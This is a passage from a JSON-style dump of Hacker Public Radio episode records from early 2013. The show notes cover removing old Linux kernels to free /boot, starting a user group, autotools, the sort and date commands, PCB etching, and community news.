      ","hostid":191,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"online radio\",automation,icecast","version":0,"downloads":1890,"valid":1}, {"id":1167,"date":"2013-01-22","title":"Kernels in the Boot, or What to Do When Your /boot folder Fills Up","duration":910,"summary":"Some experiences learning Linux server administration","notes":"

      Synopsis of the Problem

      \n\n

      \nYou may have heard me mention that I purchased a used rack server a couple years ago to help teach myself Linux server administration. It's an HP DL-380 G3 with dual single core Zeons and 12Gb of RAM. It came with two 75Gb SCSI drives in RAID1, dedicated to the OS. Since the seller wanted more for additional internal SCSI drives, and those old server drives are limited to 120Gb anyway, I plugged in a PCI-X SATA adapter and connected 750Gb drive externally and mounted it as /home. I moved over the 2Gb USB drive I had on my Chumby (as opposed to transferring the files) and it shows up as /media/usb0. I installed Ubuntu server 10.04 (recently updated to 12.04) because CentOS didn't support the RAID controller out of the box and I had frustrated the lack of support for up to date packages on Debian Lenny on the desktop.\n

      \n\n

      \nWith 75Gb dedicated to the OS and application packages, you can imaging\nmy surprise when after a update and upgrade, I had a report that my\n/boot was full. It was until I look at the output from fdisk that\nI remembered the Ubuntu installer created a separate partition for\n/boot. At the risk of oversimplifying the purpose of /boot, it is\nwhere your current and past kernel files are stored. Unless the\nsystem removes older kernels (most desktop systems seem to) the storage\nrequired for /boot will increase with every kernel upgrade.\n

      \n\n

      This is the output of df before culling the kernels

      \n\n
      Filesystem                         1K-blocks      Used Available Use% Mounted on\n/dev/mapper/oriac-root              66860688   6593460   56870828  11% /\nudev                                 6072216         4    6072212   1% /dev\ntmpfs                                2432376       516    2431860   1% /run\nnone                                    5120         0       5120   0% /run/lock\nnone                                 6080936         0    6080936   0% /run/shm\ncgroup                               6080936         0    6080936   0% /sys/fs/cgroup\n/dev/cciss/c0d0p1                     233191    224953          0 100% /boot\n/dev/sda1                          721075720 297668900  386778220  44% /home\n/dev/sdb1                         1921902868 429219096 1395056772  24% /media/usb0\n
      \n\n

      This directory listing shows I had many old kernels in /boot

      \n\n
      abi-2.6.32-24-generic-pae\nabi-2.6.32-35-generic-pae\nabi-2.6.32-36-generic-pae\nabi-2.6.32-37-generic-pae\nabi-2.6.32-38-generic-pae\nabi-2.6.32-39-generic-pae\nabi-2.6.32-40-generic-pae\nabi-2.6.32-41-generic-pae\nabi-2.6.32-42-generic-pae\nabi-3.2.0-29-generic-pae\nabi-3.2.0-30-generic-pae\nabi-3.2.0-31-generic-pae\nabi-3.2.0-32-generic-pae\nconfig-2.6.32-24-generic-pae\nconfig-2.6.32-35-generic-pae\nconfig-2.6.32-36-generic-pae\nconfig-2.6.32-37-generic-pae\nconfig-2.6.32-38-generic-pae\nconfig-2.6.32-39-generic-pae\nconfig-2.6.32-40-generic-pae\nconfig-2.6.32-41-generic-pae\nconfig-2.6.32-42-generic-pae\nconfig-3.2.0-29-generic-pae\nconfig-3.2.0-30-generic-pae\nconfig-3.2.0-31-generic-pae\nconfig-3.2.0-32-generic-pae\ngrub\ninitrd.img-2.6.32-24-generic-pae\ninitrd.img-2.6.32-35-generic-pae\ninitrd.img-2.6.32-36-generic-pae\ninitrd.img-2.6.32-37-generic-pae\ninitrd.img-2.6.32-38-generic-pae\ninitrd.img-2.6.32-39-generic-pae\ninitrd.img-2.6.32-40-generic-pae\ninitrd.img-2.6.32-41-generic-pae\ninitrd.img-2.6.32-42-generic-pae\ninitrd.img-3.2.0-29-generic-pae\ninitrd.img-3.2.0-30-generic-pae\ninitrd.img-3.2.0-31-generic-pae\nlost+found\nmemtest86+.bin\nmemtest86+_multiboot.bin\nSystem.map-2.6.32-24-generic-pae\nSystem.map-2.6.32-35-generic-pae\nSystem.map-2.6.32-36-generic-pae\nSystem.map-2.6.32-37-generic-pae\nSystem.map-2.6.32-38-generic-pae\nSystem.map-2.6.32-39-generic-pae\nSystem.map-2.6.32-40-generic-pae\nSystem.map-2.6.32-41-generic-pae\nSystem.map-2.6.32-42-generic-pae\nSystem.map-3.2.0-29-generic-pae\nSystem.map-3.2.0-30-generic-pae\nSystem.map-3.2.0-31-generic-pae\nSystem.map-3.2.0-32-generic-pae\nvmcoreinfo-2.6.32-24-generic-pae\nvmcoreinfo-2.6.32-35-generic-pae\nvmcoreinfo-2.6.32-36-generic-pae\nvmcoreinfo-2.6.32-37-generic-pae\nvmcoreinfo-2.6.32-38-generic-pae\nvmcoreinfo-2.6.32-39-generic-pae\nvmcoreinfo-2.6.32-40-generic-pae\nvmcoreinfo-2.6.32-41-generic-pae\nvmcoreinfo-2.6.32-42-generic-pae\nvmlinuz-2.6.32-24-generic-pae\nvmlinuz-2.6.32-35-generic-pae\nvmlinuz-2.6.32-36-generic-pae\nvmlinuz-2.6.32-37-generic-pae\nvmlinuz-2.6.32-38-generic-pae\nvmlinuz-2.6.32-39-generic-pae\nvmlinuz-2.6.32-40-generic-pae\nvmlinuz-2.6.32-41-generic-pae\nvmlinuz-2.6.32-42-generic-pae\nvmlinuz-3.2.0-29-generic-pae\nvmlinuz-3.2.0-30-generic-pae\nvmlinuz-3.2.0-31-generic-pae\nvmlinuz-3.2.0-32-generic-pae\n
      \n\n

      The Solution I Found

      \n\n

      I ran across some articles that\nsuggested I could use 'uname -r' to identify my current running kernel\n(3.2.0-31, the -32 apparently kernel ran out of space before it\n completed installing) and just delete the files with other\nnumbers. That didn't seem prudent, and fortunately I've found\nwhat seems to be a more elegant solution on upubuntu.com .
      \nhttps://www.upubuntu.com/2011/11/how-to-remove-unused-old-kernels-on.html
      \n

      \n\n

      Verify your current running kernel

      \n\n
      uname -r\n
      \n\n

      Linux will often keep older kernels so that you can boot into and older\nversion from Grub (at least on a desktop). Fedora has an\nenvironment setting to tell the OS just how many old kernels you want to\nmaintain [installonly_limit in /etc/yum.conf]. Please leave a\ncomment if you know of an analog in Debian/Ubuntu.\n

      \n\n

      List the kernels currently installed on you system.

      \n\n
      dpkg --list | grep linux-image\n
      \n\n

      Cull all the kernels but the current one

      \n\n

      \nThe next line is the key, make sure you copy and paste exactly from the\nshownotes. I'm not much good with regular expressions, but I can\nsee it's trying to match all the packages starting with 'linux-image'\nbut containing a number string different from the one returned by\n'uname -r', and remove those packages. Obviously, this specific\ncommand will only work with Debian/Ubuntu systems, but you should be\nable to adapt it to your distro. The '-P' is my contribution, so\nyou can see what packages you are eliminating before the change becomes\nfinal.\n

      \n\n
      sudo aptitude -P purge ~ilinux-image-\\[0-9\\]\\(\\!`uname -r`\\)\n
      \n\n

      Make sure Grub reflects your changes

      \n\n

      Finally, the author recomends running 'sudo update-grub2' to make sure\nGrub reflects your current kernel status (the above command sees to do this\nafter every operation anyway, but better safe than sorry.

      \n\n

      It's worth noting I still don't have my -32 kernel update, so I'll let\nyou know if the is anything required to get kernel updates get started\nagain.\n

      \n\n

      My df now shows 14% usage in /boot and a directory listing on /boot only shows the current kernel files.\n

      \n\n
      Filesystem                         1K-blocks      Used Available Use% Mounted on\n/dev/mapper/oriac-root              66860688   5405996   58058292   9% /\nudev                                 6072216        12    6072204   1% /dev\ntmpfs                                2432376       516    2431860   1% /run\nnone                                    5120         0       5120   0% /run/lock\nnone                                 6080936         0    6080936   0% /run/shm\ncgroup                               6080936         0    6080936   0% /sys/fs/cgroup\n/dev/cciss/c0d0p1                     233191     29321     191429  14% /boot\n/dev/sda1                          721075720 297668908  386778212  44% /home\n/dev/sdb1                         1921902868 429219096 1395056772  24% /media/usb0\n
      \n\n
      abi-3.2.0-31-generic-pae\nconfig-3.2.0-31-generic-pae\ngrub\ninitrd.img-3.2.0-31-generic-pae\nlost+found\nmemtest86+.bin\nmemtest86+_multiboot.bin\nSystem.map-3.2.0-31-generic-pae\nvmlinuz-3.2.0-31-generic-pae\n
      \n","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Ubuntu server\",\"linux kernel\",/boot","version":0,"downloads":1873,"valid":1}, {"id":1168,"date":"2013-01-23","title":"How I started my local Linux User Group","duration":1425,"summary":"A story from a new host who set up a local LUG in the Netherlands","notes":"

      \nIntro\n

      \n\n\n\n

      \nReaching out\n

      \n\n\n\n

      \nLooking for a meeting place\n

      \n\n
        \n
      • Meet up with Roel to discuss the Hackerspace and LUG\n
      • \n
      • Second reunion, with Roel and Vin to find a place\n
      • \n
      \n\n

      \nFirst meetings\n

      \n\n\n\n

      \nThe continuation\n

      \n\n
        \n
      • Regular place, recurring date/time\n
      • \n
      • Events; FOSDEM\n
      • \n
      \n\n

      \nTools\n

      \n\n
        \n
      • Website\n
      • \n
      • Mailing list\n
      • \n
      • IRC\n
      • \n
      • Google Plus / Facebook\n
      • \n
      • Meetup\n
      • \n
      \n\n

      \nLinks\n

      \n

      \n- Recipe for a Successful Linux User Group\nhttps://linuxmafia.com/faq/Linux_PR/newlug.html\n

      \n\n\n\n

      \nShow released under a Creative Commons Attribution \nShareAlike 3.0 License. \nSee: https://creativecommons.org/licenses/by-sa/3.0/\n

      ","hostid":234,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"LUG,Netherlands,\"Den Bosch\",hackerspace","version":0,"downloads":1964,"valid":1}, {"id":1169,"date":"2013-01-24","title":"Autotools","duration":2879,"summary":"An HPR Saturday Session discussing GNU autoconf and automake","notes":"

      \nPlease note: the time of the hpr saturday sessions has changed to 12:00 midday EST or 6 in the evening Central European Time. Also recording has ended for this year, but you are free to join in again at 12th of January.\n

      \n

      \nThis is a recording of the HPR Saturday Sessions - at the Linux Basement mumble server if you have knowledge you wish to share with your fellow listeners but don't know how to say it.\n

      \n

      \nIn this episode Nido Media takes us through how to create a './configure' script using one of his own packages as an example. You can find the 'derpy' package at https://motherrabbit.foxserver.be/nido/derpy-0.2.tar.gz (be aware this version has been packaged purely as example of autotools).\n

      \n

      \nThe GNU manuals for autoconf and automake:\n

      \n\n","hostid":214,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"configure script\",autoconf,automake,automation,compilation","version":0,"downloads":1894,"valid":1}, {"id":1170,"date":"2013-01-25","title":"TGTM Newscast for 1/20/2013","duration":985,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by\nDeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \n

      News from \"emptywheel.net,\"  \"thestand.org,\"\nand\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com,\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \nNews from \"venezuelanalysis.com,\" and \"democracynow.org,\" used under\npermission of the Creative Commons\nby-attribution non-commercial no-derivatives license.\n

      News from \"rhrealitycheck.org\" used under permission of the Creative\nCommons by-attribution share-alike license.
      \n

      \n

      News Sources retain their respective copyrights.

      ","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1865,"valid":1}, {"id":1171,"date":"2013-01-28","title":"Tech and Loathing 13 - Remote Desktop Protocols","duration":3144,"summary":"We join the Tech and Loathing podcast for episode 13","notes":"

      \nToday we are doing the last show that has been in the syndicated Thursday queue for a long time. Now that we are no longer syndicating shows, I wanted to post this today so that we can get the backlog cleared.\n

      \n

      \nThe show can be found at https://techandloathing.info/2012/11/tnl-episode-13-remote-desktop-protocols/\n

      \n

      Hey listeners, another episode of Tech & Loathing is now on tap. A couple of IRC friends have joined me tonight to discuss a couple of topics. For Loathing we have Android vs. iOS and all of my frustrations with the world of mobile computing. For Tech we have a look at RDP, VNC and running applications and desktop environments remotely, either securely via SSH or VPN or insecurely using X Forwarding and other techniques. Hope everyone enjoys the show.

      \n","hostid":127,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Android,iPhone,RDP,VNC,Remmina,Vinagre,xrdp,VNC,RealVNC,TightVNC,X forwarding","version":0,"downloads":1832,"valid":1}, {"id":1172,"date":"2013-01-29","title":"LiTS 022: Sort","duration":930,"summary":"Sort lines of text files with the sort command","notes":"

      The sort command does just that, it sorts input.  Input can be a list of files, standard in, or files with standard in. The first example presents this simple file, shopping.txt,  containing a list of items:

      \n

      chicken
      \nfish
      \nsour cream
      \nbread crumbs
      \nmilk
      \neggs
      \nbread
      \nsinkers
      \nfishing hooks

      \n

      Issuing the sort command on this file:

      \n

      sort shopping.txt

      \n

      Would present the following output:

      \n

      bread
      \nbread crumbs
      \nchicken
      \neggs
      \nfish
      \nfishing hooks
      \nmilk
      \nsinkers
      \nsour cream

      \n

      \nFor more information including a complete video please see https://www.linuxintheshell.com/2013/01/29/episode-022-sort/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"sort","version":0,"downloads":2204,"valid":1}, {"id":1173,"date":"2013-01-30","title":"Sonar GNU/linux","duration":1452,"summary":"The Sonar GNU/linux distribution and its Indiegogo campaign","notes":"

      \nToday's show is about Sonar GNU/linux and the importance of it. I'm also\nrunning an Indegogo campaign and I mention it at the end. The link to the\ncampaign is\n

      \n

      \nhttps://www.indegogo.com/sonar\n

      \n

      \nThe link to Sonar is\n

      \n

      \nhttps://www.sonar-project.org\n

      \n","hostid":161,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Accessible Computing Foundation,ACF,Sonar Project,accessibility","version":0,"downloads":1860,"valid":1}, {"id":1174,"date":"2013-01-31","title":"Low Tech Fab (PCB Etching)","duration":1142,"summary":"NYbill makes his own copper PCB boards at home","notes":"

      \nDue to an error in the encoding (ken's fault) the episode is been re-transmitted - sorry all\n

      \n

      \nI this episode NYbill talks about etching copper PCB boards at home.. \n

      \n

      \nPhoto collection:\nhttps://www.flickr.com/photos/44249669@N06/sets/72157632074234777/\n

      \n

      \nSurface mount breakout board layouts:\nhttps://hackaday.com/2010/04/29/surface-mount-breakout-boards/\n

      \n

      \nFTDI FT232RL Data sheet:\nhttps://www.ftdichip.com/Support/Documents/DataSheets/ICs/DS_FT232R.pdf\n

      \n

      \nSparkfun FTDI breakout board schematic:\nhttps://www.sparkfun.com/datasheets/DevTools/Arduino/FTDI%20Basic-v13-5V.pdf\n

      \n

      \nTinting fluid (I didn't buy it here. This is just a good pic of the product I used):\nhttps://www.allelectronics.com/mas_assets/cache/image/6/1/0/1552.Jpg\n

      \n

      \nAnyone driving through the Capital District of New York, this old, locally owned, electronics shop is still kicking:\nhttps://www.trojanelectronics.com/\n

      \n

      \nA few things I forgot to mention in the episode. The muriatic acid/hydrogen peroxide etching solution can be used multiple times. Store it in plastic or glass containers. The tinting fluid can also be reused. But, it will need to be agitated and or slightly heated (place container in a bath of hot water) before reuse as the mix will settle out.\n

      ","hostid":235,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"Electronics,PCB,Etching,DIY","version":1,"downloads":1570,"valid":1}, {"id":1175,"date":"2013-02-01","title":"how to start irssi in screen after reboot","duration":285,"summary":"Using cron to start screen after a reboot and run irssi in it","notes":"

      \nIn this episode Lord Drachenblut shows us how to start irssi in screen after reboot.\n

      \n
      \ncrontab -e # opens editor for crontab \n@reboot /usr/bin/screen -dmUS irc /usr/bin/irssi\n
      \n

      \n-d -m Start screen in \"detached\" mode. This creates a new session but doesn't attach to it. This is useful for system startup scripts.
      \n -U Run screen in UTF-8 mode. This option tells screen that your terminal sends and understands UTF-8 encoded characters. It also sets the\n default encoding for new windows to `utf8'.
      \n -S sessionname\n When creating a new session, this option can be used to specify a meaningful name for the session. This name identifies the session for\n \"screen -list\" and \"screen -r\" actions. It substitutes the default [tty.host] suffix.\n\n\n
      \nhttps://www.gnu.org/software/screen/
      \nhttps://www.irssi.org/
      \nhttps://en.wikipedia.org/wiki/Cron\n

      ","hostid":24,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cron,screen,crontab,reboot","version":0,"downloads":1999,"valid":1}, {"id":1176,"date":"2013-02-04","title":"Intro to editing the Open Street Map ","duration":3765,"summary":"The OpenStreetMap editor and how to use it","notes":"

      \nI'm going to call this an experimental episode. It's a tutorial on eding the Open Street Map at https://www.openstreetmap.org/ . By all rights, this should have been done as a screen cast, but since I have no interest in doing a screen cast, we're going to try something different. For this episode to work, I'll need your cooperation, and for it to make any sence to you, you'll need to be signed into https://www.openstreetmap.org/ . So go ahead and create an account over there (or begin the password reset process) while you're downloading this audio file. You're going to need an account if you want to edit anyway, so I'm not asking for anything you wouldn't be doing anyway. You may find it helpful to have a second tab open to https://wiki.openstreetmap.org/wiki/Map_Features . It won't be much help while listening to the episode, but it is very helpful while editing in general. \n

      \n

      \nSome people enjoy finding mistakes. For their enjoyment I have included a few.\n

      \n\n","hostid":128,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OpenStreetMap,OSM,Potlatch","version":0,"downloads":1773,"valid":1}, {"id":1177,"date":"2013-02-05","title":"HPR Community News Dec 12/Jan 13","duration":4102,"summary":"HPR Community News Dec 12/Jan 13","notes":"

      New hosts

      \n

      Welcome to our new hosts: \n\nDick Thomas, \nDelwin, \nCharles in NJ, \nDude-man, \nBeto, \nPeter64, \njohanv, \nEmilien Klein, \nNYbill, , and\nK5TUX.\n

      \n\n

      Apologies and Thanks

      \n

      \nDude-Man for missing that he was a new podcaster.
      \nThanks to Emilien for the patch to the readme
      \nThanks to Mike Hingley, and Dave for the heads up about the problems with the website
      \nBig thanks to everyone who supported the New Year Show.
      \nApologies to everyone that was offended by my posts to the mail lists\n

      \n\n

      Show Review

      \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\nhost\n
      1132LiTS 019: Kill the worms!Dann
      1133How I got in to LinuxDick Thomas
      1134Scannerdrome Ep. 1 - Lola LariscyVarious Hosts
      1135TGTM Newscast for 12/01/2012deepgeek
      113601 Introduction to Office softwareAhuka
      1137Open Street MapsNewAgeTechnoHippie
      1138Programming languages 2 - Pythongarjola
      1139The missing episodeMrGadgets
      1140TGTM Newscast for 12/9/2012deepgeek
      1141mumble client introDelwin
      1142LiTS 020: pgrep and pkillDann
      1143The N Days of Christmas? Intro to Recreational MathCharles in NJ
      1144Who Owns Your FilesAhuka
      1145TGTM Newscast for 12/20/2012deepgeek
      1146Wireshark-1NewAgeTechnoHippie
      1147Eulogy for the NetbookAukonDK
      1148Development DiscussionDave Morriss
      114902 LibreOffice Writer Default TemplateAhuka
      1150Hacking Karma And Reincarnation With The Forgiveness Disciplinedeepgeek
      1151Hacker Public Radio New Year Show Part 1Various Creative Commons Works
      1152Hacker Public Radio New Year Show Part 2Various Creative Commons Works
      1153Hacker Public Radio New Year Show Part 3Various Creative Commons Works
      1154Hacker Public Radio New Year Show Part 4Various Creative Commons Works
      1155Hacker Public Radio New Year Show Part 5Various Creative Commons Works
      1156Hacker Public Radio New Year Show Part 6Various Creative Commons Works
      1157Hacker Public Radio New Year Show Part 7Various Creative Commons Works
      1158Hacker Public Radio New Year Show Part 8Various Creative Commons Works
      1159Food - Health - Nutrially Densce foodDude-man
      1160TGTM Newscast for 1/8/2013 DeepGeekdeepgeek
      1161PAM Two Factor Auth SSHBeto
      1162LiTS 021 - killallDann
      1163Installing PYWWS on a Raspberry PiPeter64
      1164About gitjohanv
      1165TGTM Newscast for 1/17/2013deepgeek
      1166Airtime Radio AutomationAukonDK
      1167Kernels in the Boot, or What to Do When Your /boot folder Fills UpFiftyOneFifty
      1168How I started my local Linux User GroupEmilien Klein
      1169AutotoolsNido Media
      1170TGTM Newscast for 1/20/2013deepgeek
      1171Tech and Loathing 13 - Remote Desktop ProtocolsK5TUX
      1172LiTS 022: SortDann
      1173Sonar GNU/linuxJonathan Nadeau
      1174Low Tech Fab (PCB Etching)NYbill
      1175how to start irssi in screen after rebootLord Drachenblut
      \n\n

      Events

      \n\n\n

      Mail List Discussions

      \n
        \n
      • Setup for the New Year Show - there is no cli client for mumble or for piping to ice-cast
      • \n
      • DeepGeek asks for help in a new Segment about corporate use for web proxies
      • \n
      • cobra2 discusses RSS torrents
      • \n
      • Problems playing episodes ? Always mail admin@hackerpublicradio.org
      • \n
      • KT4KB_Jon Lambdin [Hpr] CQ CQ CQ de KT4KB - Let's do a podcast Via Amateur Radio
      • \n
      • Aaron Swartz - passed away
      • \n
      • Stickers!
      • \n
      • Nido Media HPR Saturday Sessions (Digest is a once a day thing)
      • \n
      • Reassign the shows to the TGTM News Team
      • \n
      • Changes to the owner of TGTM Tech News Show
      • \n
      • Should we add the intro/outro - yes if you want to
      • \n
      • klaatu https://radio.pittsburgharts.org:8000, dosman is running a part15 radio station at my house. While most people agree with the explicit tag, Ken strongly disagreed with the suggestion.
      • \n
      \n\n

      Reminder of how HPR is governed

      \n

      \nWhile Stankdwag pays for the hosting, HPR is run by the community, not the Admins! That means what the community decides is the direction we take it. \n

      \n\n

      Filtering \"Clean\" shows

      \n
      \nThe necessary changes to accommodate a per show explicit field has been made. \nTo get the filtered feeds, please append 'explicit=0' to the end of any of the fields. \nThis will trigger the field 'rss/channel/item/itunes:explicit=\"Clean\"'\n\n\nhttps://hackerpublicradio.org/hpr_mp3_rss.php?explicit=0\nhttps://hackerpublicradio.org/hpr_ogg_rss.php?explicit=0\nhttps://hackerpublicradio.org/hpr_spx_rss.php?explicit=0\nhttps://hackerpublicradio.org/hpr_total_rss.php?explicit=0\nhttps://hackerpublicradio.org/hpr_total_ogg_rss.php?explicit=0\nhttps://hackerpublicradio.org/hpr_total_spx_rss.php?explicit=0\n\nThis will leave the <itunes:explicit> on the <channel> as \"Yes\" but will\ntoggle the <item> to <itunes:explicit>clean</itunes:explicit>.\nCurrently the only shows flagged as 'explicit=0' are the ones from\nklaatu. For those wishing to reclassify your shows please review the\nattached guidelines from the FCC and follow the link to Apples website\nhttps://www.apple.com/itunes/podcasts/specs.html. Apple has a policy of\nbanning incorrectly flagged shows, so we could loose approximately 7 -\n20 % of HPR listeners in one fell swoop if you classify your show\nincorrectly.\n\nPlease alert me or admin@hackerpublicradio.org if anything strange\nstarts to happen.\n\nKen (as HPR Admin)\n
      \n\n

      Website Changes

      \n
        \n
      • Website Updates, RSS Feeds, Cal page: new list, new post script, explains how the queuing is done. Still need to update the contribute, readme and intro outro.
      • \n
      • HPR Transcode script - Help needed by one and all
      • \n
      • Cannot get the mailing list to archive
      • \n
      \n\n

      Sonar Fundraiser

      \n

      \nThe Sonar Project is to build a Linux operating system focused on accessibility. There are 1 billion people in the world with some type of disability. Jonathan Nadeau is a blind user and has already made the Sonar GNU/Linux distribution completely accessible to blind people. Now he needs our help to take it to the next level.
      \nPimp and pay https://www.indiegogo.com/sonar\n

      \n\n

      We need shows

      \n

      \nThere are 14 shows in the queue. https://hackerpublicradio.org/calendar.php\n

      \n\n
      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1743,"valid":1}, {"id":1178,"date":"2013-02-06","title":"Interviews with Laura Creighton and Armin Rigo","duration":1327,"summary":"Seetee interviews Laura Creighton and Armin Rigo","notes":"

      Creighton and Rigo about PyPy

      \n\n

      \"We're really really really really fast.\"
      - Laura Creighton (2011)

      \n\n

      Today you will hear two interviews, with Laura Creighton and Armin Rigo. You'll get a really unique perspective of Richard Stallman, as well as of the PyPy project. Below you will find links to most of the projects mentioned in the interviews, but first and foremost I would like to recommend you to have a look at Laura's keynote interview \"Dialogue with Richard Stallman\" and Armin's talk \"PyPy\".

      \n\n

      Make sure you watch the videos from FSCONS2011 with Stallman, Creighton and Rigo!

      \n\n

      References

      \n\n\n\n

      How to reach me

      \n\n

      You should follow me and subscribe to All In IT Radio:

      \n\n\n\n","hostid":192,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"PyPy","version":0,"downloads":1823,"valid":1}, {"id":1179,"date":"2013-02-07","title":"Interview with Mark A Davis of TWUUG","duration":3566,"summary":"Interview: Mark Davis, head of the Tidewater Unix Users Group","notes":"

      \nFrank Bell interviews Mark Davis, IT Director for Lake Taylor Transistional Care Hospital and head of the Tidewater Unix Users Group (TWUUG), an organization which predates the creation of the Linux kernel.\n

      \n

      \nMark talks about how his early computer experience and he got started with computers and *nix, the history and development of TWUUG, and the history and architecture of Lake Taylor's Linux-based network. He also shares his thoughts about Ubuntu's Wayland project and distributed versus centralized computing, as well as a summary his reaction to his new Windows 8 computer.\n

      \n

      \nLinks:\n

      \n\n\n","hostid":195,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"TWUUG,X-Windows,Wayland,Slackware,Windows 8","version":0,"downloads":1851,"valid":1}, {"id":1180,"date":"2013-02-08","title":"TGTM Newscast for 2/6/2013","duration":1087,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \nNews from \"techdirt.com,\" \"thestand.org,\" \"icelandreview.com,\"\nand\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"democracynow.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      ","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":4125,"valid":1}, {"id":1181,"date":"2013-02-11","title":"Mumble Audio Issues","duration":349,"summary":"Some advice on avoiding audio issues in Mumble","notes":"

      \nI had a couple of requests for more specific information regarding audio quality in mumble, so here I go through a few of the more common audio issues I've run into with a few tips about what you can try to do about them. These issues are: overdriven audio, quiet audio, distorted audio and choppy audio. \n

      \n

      \nEve bot (https://frymaster.127001.org/mumble) is also mentioned as an alternative to using the loopback settings within mumble for troubleshooting.\n

      \n

      \nThanks to Peter64 for his help with generating the choppy audio segment.\n

      \n\t","hostid":228,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"overdriven audio,quiet audio,distorted audio,choppy audio,opus","version":0,"downloads":1751,"valid":1}, {"id":1182,"date":"2013-02-12","title":"LiTS 023: Date","duration":1443,"summary":"Print or set the system date and time with the date command","notes":"

      \nSpring is in the air and Valentine's day is just around the corner and Dann Sexy Washko tells us all we need to know about dates on his regular Linux In The Shell series.

      \n

      The date command will not only display or let you change the current date and time but is the go-to utility for getting date and time information into scripts. Invoked by itself the date command will output the current system date based upon the rules of the LC_TIME format. The LC_TIME format defines the rules for formatting dates and times. LC_TIME is a subset of locale which defines the overall environment based upon the chosen language and cultural conventions. You can see the current LC value by issuing the locale command. You can see time specific information for your system by issuing:

      \n

      locale -m LC_TIME

      \n

      \nhttps://www.linuxintheshell.com/2013/02/12/episode-023-date/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"date","version":0,"downloads":2491,"valid":1}, {"id":1183,"date":"2013-02-13","title":"Boise Lug meeting Feb 7 2013","duration":1872,"summary":"A recording from the Boise LUG","notes":"

      \nBoise Lug meeting Feb 7 2013, Darin gives a talk on Linux gaming focused on \nvavoom for Doom wads and the steam client now in open beta, show notes and \nLug contacts https://boiselug.org/ and https://store.steampowered.com/browse/linux/\n

      ","hostid":110,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Doom,WAD files,Vavoom,Valve,Steam","version":0,"downloads":1795,"valid":1}, {"id":1184,"date":"2013-02-14","title":"Installing Linux without a monitor","duration":5626,"summary":"An audio-only demonstration of installing Sonar GNU/Linux","notes":"

      \nTwo weeks ago we aired a show about the Sonar Project which is a specialized GNU/Linux distribution to develop and proof accessibility in a modern distribution. This is a test bed and so every single enhancement and discovery will be sent back upstream so that all distributions will be accessible by default.\n

      \n

      \n\n\nThe Sonar Project show was downloaded a total of 14,219 times so far and yet only 127 people have donated.\n\n\n

      \n

      \nToday it's a case of the blind leading the (simulated) blind as Jonathan Nadeau walks pokey through an install of the Sonar GNU/Linux distribution without a monitor.\n

      \n

      \nSo listen along and experience what life is like if you are a blind hacker.
      \nPress PAUSE to hear what it would be like if Jonathan had not done so much work already.\n

      \n

      DONATE NOW

      \n

      \nThe project is here https://www.indegogo.com/sonar\n

      \n

      \nThe Accessible Computing Foundation can be found at theacf.co or https://accessiblecomputingfoundation.org/\n

      \n

      \nThe project itself can be found here www.sonar-project.org\n

      ","hostid":109,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Accessible Computing Foundation,ACF,Sonar Linux","version":0,"downloads":2038,"valid":1}, {"id":1185,"date":"2013-02-15","title":"Shooting the Breeze","duration":2002,"summary":"Two HPR hosts having a geeky conversation","notes":"

      \n6 days to go 25% there - donate to https://www.indegogo.com/sonar the spread the word.\n

      \n

      \nJezra and NYbill look back on their last episode (https://hackerpublicradio.org/eps.php?id=0923). They review their predictions for 2012. Then go into a bit of what they see happening in the tech world in 2013. Basically, they are just having a geeky conversation. Listen at your own peril! \n

      \n

      \nThe Yoda/Red Rider mic stand: https://status.jezra.net/attachment/3421\n

